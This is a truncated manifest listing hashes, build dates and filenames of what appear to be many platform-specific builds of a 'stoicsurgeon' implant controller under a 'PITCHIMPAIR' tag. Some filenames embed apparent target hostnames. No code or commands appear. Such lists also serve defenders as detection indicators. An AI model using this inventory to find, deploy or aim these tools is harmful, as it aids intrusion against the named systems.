+D93192C51433A7BDAD17D1DA60F85DFE42A25C01 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.32.7_x86_linux_slyeagle_ns_bin +7877B4D94FF9B226FB318F3DEEF762116EDBCC56 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.33.1_x86-linux-suse-10.3 +7877B4D94FF9B226FB318F3DEEF762116EDBCC56 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.33.2_x86-linux-fedora7 +7877B4D94FF9B226FB318F3DEEF762116EDBCC56 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.33.3_x86-linux-fedora6 +7877B4D94FF9B226FB318F3DEEF762116EDBCC56 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.33.4_x86-linux-slackware-12.0 +2CA062F1AFCDE845CE1439146598A87A1A77B8E3 Thu Apr 2 16:57:06 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.34.1_sparc-sun-solaris2.8 +416C95A88DA6F2004640FB150859B7CAEF62566C Thu Apr 2 18:56:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.34.2_sparc-sun-solaris2.9 +27FA30FD105238F7E55FC56D806B79E611823B73 Fri Apr 3 14:51:37 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.34.3_sparc-sun-solaris2.10 +27FA30FD105238F7E55FC56D806B79E611823B73 Fri Apr 3 14:51:37 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.34.5_sparc-sun-solaris2.10 +A4AA4F7B1A4EE031A614EDC1FBD0261212A9439D Thu Apr 30 14:34:20 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.35.1_x86_linux_debian_4.0_bin +2FA75AE344175A0EF50CD6B9C8CD735375FAB5CB Tue May 19 19:07:21 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.35.3_x86_64-linux-complexpuzzle-argos.b.de.kcce.net +81C460458D3B2612E3F258E17A14B08781BA49FE Wed Mar 5 21:23:43 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.5.1_x86-linux-fedora4 +A8895692172FD46A6C653BD8D70BBC7A4E96E20D Mon Jun 15 17:21:08 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.10_x86-linux-fataltouch +35200F1F614E8775FDFDA12102E5630A4EA84A46 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.1_x86-linux-centos-4.4 +35200F1F614E8775FDFDA12102E5630A4EA84A46 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.2_x86-linux-centos-4.6 +35200F1F614E8775FDFDA12102E5630A4EA84A46 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.3_x86-linux-tilttop-gate2 +35200F1F614E8775FDFDA12102E5630A4EA84A46 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.4_x86-linux-charmshrill-server +E1BD564608564C08DFC90151126332D311CAA01A Fri Jun 12 19:56:15 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.5_x86-linux-wolfacid_iq-lunasat-qos +6663A9B3CB3BEF8BF6CDE918FA1CF69F410483A7 Mon Jun 15 16:42:45 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.6_x86-junos-8.5 +292B76C56C216CEFD8F747AA077207C38DD102C2 Mon Jun 15 18:22:37 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.8_x86-junos-9.1 +292B76C56C216CEFD8F747AA077207C38DD102C2 Mon Jun 15 18:22:37 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.1.9_x86-junos-9.2 +D75562E148E32D412D6AA66F42CDBA019A1BB28F Wed Sep 2 02:22:53 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.10.1_sparc-sun-solaris2.8 +D686EA9345E960C1E1BFD9941250DCFB26F7F6CA Wed Sep 2 02:36:49 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.10.2_sparc-sun-solaris2.9 +107755F4AF29E056FA576058C46099FC51E6E06D Wed Sep 23 20:30:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.11.2_sparc-sun-solaris2.8 +A0C4447C66C3E6E61F7E7B30651B73A459EFDF86 Wed Sep 23 20:38:34 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.11.4_sparc-sun-solaris2.10 +9129EB678970A653BA28243452E2FDA5DFD456A5 Wed Sep 23 21:08:14 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.11.4_sparc-sun-solaris2.9 +9129EB678970A653BA28243452E2FDA5DFD456A5 Wed Sep 23 21:08:14 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.11.6_sparc-sun-solaris2.9 +C012B477ABEE8F918CB5731E0BA6247DBF2AF028 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.12.1_x86-linux-suse-enterprise-9 +C012B477ABEE8F918CB5731E0BA6247DBF2AF028 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.12.4_x86-linux-centos-5.3 +C012B477ABEE8F918CB5731E0BA6247DBF2AF028 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.12.5_x86-linux-debian-4.0 +37186D8CBEF10A2617ACD8F7ED4540291D4883D2 Mon Sep 28 22:08:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.12.6_x86_64-linux-centos-4.4 +37186D8CBEF10A2617ACD8F7ED4540291D4883D2 Mon Sep 28 22:08:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.12.7_x86_64-linux-centos-5.3 +D0922C004A0FA8852D21D9588410783C7C067B62 Wed Sep 30 20:48:40 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.12.8_x86_64-linux-centos-5.3 +C012B477ABEE8F918CB5731E0BA6247DBF2AF028 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.12.9_x86-linux-centos-5.2 +D3D1B5C68C627E64FC0C44E6A1D05CE8E23331B9 Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.13.1_x86-linux-centos-4.7 +D3D1B5C68C627E64FC0C44E6A1D05CE8E23331B9 Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.13.2_x86-linux-asianux-1.0 +D3D1B5C68C627E64FC0C44E6A1D05CE8E23331B9 Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.13.3_x86-linux-slackware-10.1 +F3CA81FDB821C7BF321ECC97B23D2B29C7000315 Wed Oct 7 14:34:06 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.13.4_x86-freebsd-5.3 +F3CA81FDB821C7BF321ECC97B23D2B29C7000315 Wed Oct 7 14:34:06 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.13.5_x86-freebsd-5.3-sassyninja +5E71C40CE9DF915827F0389F9B2BE1FF5EE4568E Fri Oct 9 22:27:59 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.14.1_x86_64-linux-redhat-enterprise-4.0 +5E71C40CE9DF915827F0389F9B2BE1FF5EE4568E Fri Oct 9 22:27:59 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.14.2_x86_64-linux-redhat-enterprise-5.0 +A5FAAA48B466138DBA137A592B8AFEB406C261DB Fri Oct 9 22:35:06 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.14.3_x86-linux-ubuntu-8.04 +A5FAAA48B466138DBA137A592B8AFEB406C261DB Fri Oct 9 22:35:06 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.14.5_x86-linux-fedora9 +C153A2AC97E3498AD60401185E25B8D465B59034 Wed Oct 14 13:47:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.15.1_x86-freebsd-7.1 +7A4EA3D9A80CB8181AAB5B6764DC42D235952E4A Wed Oct 14 14:34:37 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.15.2_x86-freebsd-7.2 +257D1A8628ABA74880C34B9EE2576D2B39638621 Tue Oct 20 10:55:41 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.10_x86-freebsd-7.2 +2D7E2B09DA83277E9CC85B951C553BFAD9B9FF11 Tue Oct 20 14:52:33 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.11_x86-freebsd-5.3 +2D7E2B09DA83277E9CC85B951C553BFAD9B9FF11 Tue Oct 20 14:52:33 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.12_x86-freebsd-5.3-sassyninja +CFADF1068EFDF462CA982010F7C976139CC12C1F Tue Oct 20 17:30:09 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.13_x86_64-linux-debian-4.0 +0FE667196DE70E1DBA843347D0865C42CCAC6D26 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.14_x86-linux-centos-5.2 +E6EE2F5638B8DB9B6095A869C102766AC7C39CD4 Fri Oct 30 16:48:13 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.15_x86_64-linux-redhat-enterprise-4.0 +B2D061F56755A52B36CA62B879E31A96872C21D5 Thu Nov 5 21:00:41 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.16_x86_64-linux-redhat-enterprise-5.0 +0FE667196DE70E1DBA843347D0865C42CCAC6D26 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.17_x86-linux-fedora10 +0FE667196DE70E1DBA843347D0865C42CCAC6D26 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.19_x86-linux-suse-10.2 +0FE667196DE70E1DBA843347D0865C42CCAC6D26 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.1_x86-linux-debian-5.0 +0FE667196DE70E1DBA843347D0865C42CCAC6D26 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.2_x86-linux-fedora10 +0FE667196DE70E1DBA843347D0865C42CCAC6D26 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.3_x86-linux-fedora8 +0FE667196DE70E1DBA843347D0865C42CCAC6D26 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.4_x86-linux-centos-5.3 +0FE667196DE70E1DBA843347D0865C42CCAC6D26 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.5_x86-linux-redhat-7.3 +602BCD611742F59F0A85C4FB89E3C2A12981C346 Mon Oct 19 18:58:30 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.8_x86-freebsd-7.1 +0FE667196DE70E1DBA843347D0865C42CCAC6D26 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.16.9_x86-linux-suse-enterprise-9 +62CA6065915489D52072CEE43CE868FD78921477 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.12_x86_64-linux-centos-5.2 +62CA6065915489D52072CEE43CE868FD78921477 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.13_x86_64-linux-centos-5.1 +2B544E43579D3701F0DC3FF2BCD0B9B23B5F2A1B Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.15_x86-linux-asianux-1.0 +2B544E43579D3701F0DC3FF2BCD0B9B23B5F2A1B Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.16_x86-linux-slackware-10.1 +2B544E43579D3701F0DC3FF2BCD0B9B23B5F2A1B Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.17_x86-linux-slackware-11.0 +62CA6065915489D52072CEE43CE868FD78921477 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.18_x86_64-linux-redhat-enterprise-5.0 +2B544E43579D3701F0DC3FF2BCD0B9B23B5F2A1B Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.1_x86-linux-suse-10.2 +2B544E43579D3701F0DC3FF2BCD0B9B23B5F2A1B Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.20_x86-linux-suse-9.3 +D1A0DBF67ABEF02DEDE4D6138523FC47005D65D3 Mon Jan 25 17:22:56 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.22_x86_64-linux-suse-10.1 +C517189022F31BA3253DF284D47C31532DBD8E70 Wed Jan 27 19:26:48 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.24_x86-freebsd-7.0 +2B544E43579D3701F0DC3FF2BCD0B9B23B5F2A1B Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.25_x86-linux-centos-4.8 +2B544E43579D3701F0DC3FF2BCD0B9B23B5F2A1B Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.26_x86-linux-slackware-10.2 +2B544E43579D3701F0DC3FF2BCD0B9B23B5F2A1B Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.27_x86-linux-steelsnob-babar +2B544E43579D3701F0DC3FF2BCD0B9B23B5F2A1B Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.3_x86-linux-suse-10.3 +2B544E43579D3701F0DC3FF2BCD0B9B23B5F2A1B Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.4_x86-linux-suse-10.1 +2B544E43579D3701F0DC3FF2BCD0B9B23B5F2A1B Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.5_x86-linux-suse-10.0 +2B544E43579D3701F0DC3FF2BCD0B9B23B5F2A1B Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.6_x86-linux-suse-10.0 +2B544E43579D3701F0DC3FF2BCD0B9B23B5F2A1B Wed Jan 20 23:18:55 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.7_x86-linux-centos-5.4 +62CA6065915489D52072CEE43CE868FD78921477 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.17.8_x86_64-linux-centos-5.3 +1AD0C1E65C86AC16400CCD78359D50663CCACD3F Thu Jan 28 17:41:45 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.18.1_sparc-sun-solaris2.10 +6A993152C507E764684104302B36BE7E4F268C0E Tue Feb 23 01:11:59 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.19.1_x86_64-linux-redhat-enterprise-5.0 +A8A1AED1EE330FE45F10DD898D9053F0D4435E6F Tue Feb 23 17:44:06 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.19.2_i386-pc-solaris2.10 +4ECDDF5FDA026092657693B80D4D3C2C1F42609A Tue Mar 16 19:39:07 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.10_x86-linux-darkthunder-nsp.yemen.net.ye +7C2B6B8E3A0B936FBC94C678B6471615D4EFAEBF Wed Mar 17 17:25:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.12_x86-freebsd-7.1 +4BDD6DAB4E911413DA97C8EBDCA976B571B2A8AC Wed Feb 24 20:47:51 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.1_x86-freebsd-5.4 +DC31F766CAE8166F97054CA3C57053AB508715FE Thu Feb 25 16:06:49 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.2_x86-freebsd-6.1 +E629F7A6219C4B9EEE2C2E0753AEBA7CE6B695D4 Thu Feb 25 19:16:20 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.3_x86-freebsd-6.0 +2605E80C979B344FE743375DAA6BD2F28A2FC945 Thu Feb 25 19:33:12 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.4_x86-freebsd-6.2 +57DE1FB565211592198EE2A740D54BCF0B3F4E54 Tue Mar 2 18:46:10 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.6_x86-freebsd-5.5 +1EF8085D39805F1FDE4936B10BCEB4F7452C672D Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.7_x86-linux-centos-5.4 +1EF8085D39805F1FDE4936B10BCEB4F7452C672D Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.8_x86-linux-straitshooter-ibs-bk +1EF8085D39805F1FDE4936B10BCEB4F7452C672D Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.20.9_x86-linux-centos-4.8 +470DE454B6B86D3DAA663DD9DDC7A9E93FD2F6F6 Mon Mar 1 19:29:41 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.21.1_x86-junos-9.6 +420411A62A477A1467E0BDFB7CCD7EC1601CFAFB Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.21.2_x86_64-linux-debian-5.0 +420411A62A477A1467E0BDFB7CCD7EC1601CFAFB Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.21.3_x86_64-linux-centos-5.0 +420411A62A477A1467E0BDFB7CCD7EC1601CFAFB Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.21.4_x86_64-linux-scientific-5.1 +420411A62A477A1467E0BDFB7CCD7EC1601CFAFB Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.21.5_x86_64-linux-suse-10.2 +347A5D9EB9042DEF3379A48C401CE90E7290DDEF Wed Mar 17 18:37:35 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.21.6_x86-linux-redhat-enterprise-5.4 +31A853E7781994D5275CD05B23130DA4DF4265D8 Wed Mar 24 00:15:37 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.22.2_x86_64-linux-redhat-enterprise-5.4 +0A98C61288E2F9E8F78EF9FCB02D6C8AB7D6D2C4 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.22.3_x86-linux-centos-5.4 +0A98C61288E2F9E8F78EF9FCB02D6C8AB7D6D2C4 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.22.4_x86-linux-redhat-8.0 +E1C50E6BB069F1A5C4B82FDEFCD522FBCB095138 Thu Apr 1 18:18:51 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.22.5_x86_64-linux-debian-5.0 +0A98C61288E2F9E8F78EF9FCB02D6C8AB7D6D2C4 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.22.6_x86-linux-debian-5.0 +22ABB0CAF8870C1E5E9E6A17933AB1386DF60853 Tue Apr 27 00:24:08 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.23.1_x86_64-linux-vinifera-ie103 +AC7AFE10F40D4850B9D647FF29AD64E3AD1F65BF Thu Apr 29 14:43:06 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.23.2_x86_64-linux-vinifera-ie104 +AC7AFE10F40D4850B9D647FF29AD64E3AD1F65BF Thu Apr 29 14:43:06 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.23.3_x86_64-linux-centos-5.4 +E585EC3B763A1D2A8958F6005E048E09CBDD4E25 Mon May 10 14:51:52 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.23.4_x86-linux-redhat-enterprise-5.2 +E585EC3B763A1D2A8958F6005E048E09CBDD4E25 Mon May 10 14:51:52 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.23.5_x86-linux-centos-4.8 +9F91E9AB91C7AB747114293540FCD99428B779EE Fri May 14 12:07:15 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.24.1_sparc-sun-solaris2.7 +4D9DB271F49F0F82948BCC736064E9DDDF1F1677 Fri May 14 17:49:13 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.24.2_x86-linux-avaya-5.2.1 +1AD9BDAB1A8474EDE165D8F65867CA99CB0CDF8D Fri May 21 17:19:47 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.25.1_x86-linux-ubuntu-8.04 +1AD9BDAB1A8474EDE165D8F65867CA99CB0CDF8D Fri May 21 17:19:47 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.25.2_x86-linux-centos-3.6 +1AD9BDAB1A8474EDE165D8F65867CA99CB0CDF8D Fri May 21 17:19:47 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.25.3_x86-linux-redhat-enterprise-4.0 +1AD9BDAB1A8474EDE165D8F65867CA99CB0CDF8D Fri May 21 17:19:47 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.25.4_x86-linux-centos-3.6 +B2E28B185740BBA5395D6503FD6B63D214D2F881 Thu Jun 24 19:14:09 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.26.1_x86-linux-avaya +7E8EACD63992BD0F4CB6B8C0D622301B27A3B41D Wed Jun 9 11:56:41 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.26.2_x86_64-freebsd-7.0 +7C135B6D2BF0495721551749671FC12FBFBDD578 Wed Jun 16 16:53:33 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.26.4_x86_64_linux_suse_10.2_bin +B2E28B185740BBA5395D6503FD6B63D214D2F881 Thu Jun 24 19:14:09 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.26.5_x86-linux-wickedviper +35A53E27C48F237FD8B1023C213FF1F790552142 Thu Jun 24 21:55:39 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.27.1_x86-linux-redhat-enterprise-5.3 +9310A76EAFD4B34B3C0177C22B513FCA0B976621 Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.29.1_x86-linux-redhat-enterprise-5.2 +D2E795231EB9AF6F654C2BC0B1075C7C15A3F346 Tue Jun 29 21:14:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.29.2_x86-linux-centos-5.2 +9310A76EAFD4B34B3C0177C22B513FCA0B976621 Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.29.3_x86-linux-redhat-enterprise-5.5 +9310A76EAFD4B34B3C0177C22B513FCA0B976621 Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.29.4_x86-linux-redhat-enterprise-3.0 +A8C445E5F1C5793C1DF34C9DB1D3333737ED1B0F Fri Jul 2 23:42:12 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.29.5_x86_64-linux-centos-5.5 +A0F9CA9DA665506A9154C87354DE205608842439 Wed Jun 17 19:53:50 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.3.1_x86-junos-9.0 +EA3AA367A76738BE03AF471D676D837486805E10 Thu Jun 18 13:02:34 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.3.2_x86-freebsd-7.0 +6A7DD79DD3BA36510B09AC7D3CCE288D39097F5A Sat Jul 3 03:09:40 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.30.1_x86-linux-ubuntu-8.04 +60588DFDEC5870F21566ED903A7599A8ABC1EAD5 Wed Jul 7 21:46:41 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.30.2_x86-linux-centos-5.5 +6A7DD79DD3BA36510B09AC7D3CCE288D39097F5A Sat Jul 3 03:09:40 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.30.5_x86-linux-avaya +60588DFDEC5870F21566ED903A7599A8ABC1EAD5 Wed Jul 7 21:46:41 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.30.6_x86-linux-centos-5.4 +821A7BD3905D6DD518A965A2FBD227CD488D7810 Thu Jul 22 13:26:28 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.10_sparc-sun-solaris2.10 +CD9C4E96A9DFC5348330979D8DD8618FE5354567 Thu Jul 22 13:55:17 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.11_i386-pc-solaris2.10 +40FC38ED283F287CD6883F1129C90E6583B2F3D0 Mon Jul 26 18:17:40 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.12_sparc-sun-solaris2.9 +5D01181E2CA110993BAB7DD8C03E994D03EACE67 Wed Jul 28 18:06:34 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.13_sparc-sun-solaris2.8 +5D01181E2CA110993BAB7DD8C03E994D03EACE67 Wed Jul 28 18:06:34 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.14_sparc-sun-solaris2.8 +AE208D6AE15A05C51631A7FED2AE659EA4C35E13 Tue Jul 13 16:02:21 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.1_x86-linux-slackware-13.0 +445A55A6875D48A8553194A77AA904157BFD9E4B Wed Jul 14 17:02:54 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.2_x86-linux-slackware-9.1 +445A55A6875D48A8553194A77AA904157BFD9E4B Wed Jul 14 17:02:54 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.3_x86-linux-slackware-10.0 +445A55A6875D48A8553194A77AA904157BFD9E4B Wed Jul 14 17:02:54 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.4_x86-linux-slackware-10.1 +445A55A6875D48A8553194A77AA904157BFD9E4B Wed Jul 14 17:02:54 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.5_x86-linux-slackware-10.2 +445A55A6875D48A8553194A77AA904157BFD9E4B Wed Jul 14 17:02:54 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.6_x86-linux-slackware-11.0 +445A55A6875D48A8553194A77AA904157BFD9E4B Wed Jul 14 17:02:54 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.7_x86-linux-slackware-12.0 +20446EAEB84D6D639F0E7D3CEDF94A81C410A60E Tue Jul 20 21:03:26 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.31.8_x86_64-linux-centos-5.3 +EC0249EA66E6A88CD60728266FD95B181B36AAD4 Fri Jul 23 20:58:56 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.32.1_x86-linux-redhat-enterprise-5.0 +C110873615E90ADB8A36F3987FB1B2DE7314718A Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.33.1_x86_linux_slackware_13.0_i386_linux +C110873615E90ADB8A36F3987FB1B2DE7314718A Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.33.2_x86-linux-optimusprime-vezarat.dolat.ir +C110873615E90ADB8A36F3987FB1B2DE7314718A Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.33.4_x86-linux-slackware-12.0 +C110873615E90ADB8A36F3987FB1B2DE7314718A Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.33.5_x86-linux-avaya-3.1.4 +FFAC9C39EFAD27F541278562DF2E79B3A4358022 Tue Aug 24 20:15:25 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.33.6_x86-linux-centos-5.3 +A2EC701FD787C222B46E8ECEDB3956AF10CA785E 